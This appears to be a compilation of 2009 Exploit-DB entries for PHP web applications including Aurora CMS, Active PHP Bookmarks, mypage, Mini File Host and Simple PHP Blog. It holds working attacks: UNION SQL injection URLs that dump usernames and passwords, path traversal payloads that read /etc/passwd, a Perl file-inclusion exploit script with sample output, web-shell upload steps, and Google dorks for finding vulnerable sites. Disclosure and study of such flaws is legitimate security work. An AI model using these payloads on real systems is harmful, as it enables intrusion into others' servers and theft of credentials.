weenCompany SQL Injection Vulnerability

# Title: weenCompany SQL Injection Vulnerability :D :D
# EDB-ID: 10606
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Gamoscu
# Published: 2009-12-22
# Verified:yes
# Download

Exploit Code

# Download N/A

#############################################################
# weenCompany SQL Injection Vulnerability

# Vendor: http://www.weentech.com/

# Author: Gamoscu

# Site: www.1923turk.biz

# Site: http://gamoscu.wordpress.com/

##############################################################

# Dork:"Created by weenCompany"


# Exploit: http://server/index.php?moduleid=m2_news[SQL-inj]&articleid=1


##############################################################
# Greetz: Manas58 Baybora Delibey Tiamo Psiko
##############################################################


Vatan Lafla Deðil Eylemle Sevilir

Kiskananlar catlasin Zorunuza Gitmesin

Aurora CMS Remote SQL Injection Exploit

# Title: Aurora CMS Remote SQL Injection Exploit
# EDB-ID: 10609
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Sora
# Published: 2009-12-22
# Verified: no


# Download

Exploit

# Download N/A

view source
print?
# Exploit Title: Aurora CMS Remote SQL Injection Exploit [content.php]
# Date: December 22nd, 2009
# Author: Sora
# Software Link: http://www.auroracms.com.au/
# Version: 1.0, 2.0, and 3.0
# Tested on: Windows and Linux
------------------------------------------------
> Aurora CMS Remote SQL Injection Exploit
> Vulnerability in: content.php
> Found and disclosed by: Sora
> Contact: vhr95zw [at] hotmail.com

> Google dork: "Aurora CMS"

Aurora CMS suffers a remote SQL injection exploit in content.php.

The type is UNION statement SQL injection.

# Code: http://www.site.com/content.php?id=-5+UNION+SELECT+ALL+1,2,3,4,group_concat(Username,0x3a,Password)+from+Users--

# Greetz: Bw0mp, Popc0rn, Xermes, T3eS, Timeb0mb, [H]aruhiSuzumiya, and Revelation!

Active PHP Bookmarks v1.3 SQL Injection Vulnerability

# Title: Active PHP Bookmarks v1.3 SQL Injection Vulnerability
# EDB-ID: 10597
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Elgaarh
# Published: 2009-12-22
# Verified: yes
# Download

Exploit Code

# Download N/A

view source
print?
# Title: Active PHP Bookmarks v1.3 Remote SQL Injection Vulnerability
# EDB-ID: ()
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Elgaarh
# Published: 2009-12-21
=============================================================
~ Author : Mr.Elgaarh
~ Email : scan_cmpu@yahoo.com
~ Home : http://securityreason.com/
=============================================================

Dork : "Powered by Active PHP Bookmarks v1.3" inurl:.view_group.php?id=

./Exploit:

first search for the admin username :
ex : http://server/path/view_group.php?id=-4

ex : http://[Target.com]/path/view_group.php?id=-4+union+select+0,1,concat(username,0x3a,password),3,4,5,6,7+from+apb_users--

admin panel path : http://server/path/cookie_auth.php?action=cookie_login

---------------------------------------------------------------------------------------------------------------------------
Greets : Mado - Dr.Hacker - Mr.Max - broken proxy - Offensive Security - AG-Spider - ISlamic Defenders Crew -

mypage v0.4 Local File Inclusion Vulnerability

# Title: mypage v0.4 Local File Inclusion Vulnerability
# EDB-ID: 10600
# CVE-ID: ()
# OSVDB-ID: ()
# Author: BAYBORA
# Published: 2009-12-22
# Verified: yes
# Download

Exploit Code

# Download N/A

#############################################################
# mypage0.4 LFI Vulnerability

# Author: BAYBORA

# Site: www.1923turk.biz

##############################################################

# Exploit:


Vuln file: index.php?page=LFI


Exploit:


POST http://server/index.php?page=../../../../../../../../etc/passwd

index.php

if(isset($_GET['page'])){
...
$inhalt=$inhaltsordner."/".$_GET['page'];}
...
$inhalt=str_replace("///","",$inhalt);
if (FALSE==include$inhalt){echo$notfound;}

Mini File Host v1.5 Remote File Upload Vulnerability

# Title: Mini File Host v1.5 Remote File Upload Vulnerability
# EDB-ID: 10601
# CVE-ID: ()
# OSVDB-ID: ()
# Author: Mr.Z
# Published: 2009-12-22
# Verified: no
# Download

Exploit Code

# Download N/A

=====================================================================

=========
_ _ _ _ _ _
/ \ | | | | / \ | | | |
/ _ \ | | | | / _ \ | |_| |
/ ___ \ | |___ | |___ / ___ \ | _ |
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|


=====================================================================

=========
[»] ~ Note : This vulnerability allows you to upload if the "storage" file isn't protected with a htaccess file or

anything else
=====================================================================

=========
[»] Mini File Host v1.5 Remote File Upload Vulnerability
=====================================================================

=========

[»] Script: [ Mini File Host ]
[»] Language: [ PHP ]
[»] Site page: [ Mini File Host v1.5 ]
[»] Download: [ http://www.hotscripts.com/listing/mini-file-host/ ]
[»] Founder: [ Mr.Z ]
[»] Greetz to: [ all muslims , ViRuSMaN ]

###########################################################################

===[ Exploit ]===

Click on "Browse" and select your php shell
Click Upload
After it finishs , you will see this meassage (

Your file was uploaded!

Your download link

http://server/script/download.php?file=328shell.php

)

Copy the new Name of the shell "328shell.php"

Now Go to this Url

http://server/script/storage/328shell.php

if "Storage" wasn't protected your shell will open


Author: Mr.Z <-

###########################################################################

# Title: Simple PHP Blog v0.5.1 Local File Inclusion Vulnerability
# EDB-ID: 10604
# CVE-ID: ()
# OSVDB-ID: ()
# Author: jgaliana
# Published: 2009-12-22
# Verified: no
# Download

Exploit Code

# Download N/A

view source
print?
# Simple PHP Blog is prone to a local file-include vulnerability because it fails to properly
# sanitize user-supplied input.

#An attacker can exploit this vulnerability to obtain potentially sensitive information or to #execute arbitrary local scripts in the context of the webserver process. This may allow the #attacker to compromise the application and the underlying computer; other attacks are also #possible.

# Simple PHP Blog 0.5.1 is vulnerable; other versions may also be affected.

#!/usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# jgaliana isecauditors=dot=com
# Internet Security Auditors

use LWP::UserAgent;

if ($#ARGV < 3) { die("Usage: $0 "); }
$ua = LWP::UserAgent->new;
$ua->agent("Simple PHP Blog Exploit ^_^");
$ua->default_header('Cookie' => "sid=$ARGV[3]");
my $req = new HTTP::Request POST =>
"http://$ARGV[0]$ARGV[1]/languages_cgi.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("blog_language1=../../../../..$ARGV[2]");
my $res = $ua->request($req);

if ($res->is_success) {
print $res->content;
} else {
print "Error: " .$res->status_line, "\n";
}

#$ perl simple.pl example.com /blog /etc/passwd |head -1
#root:*:0:0:root:/root:/bin/bash

from :

Offensive Security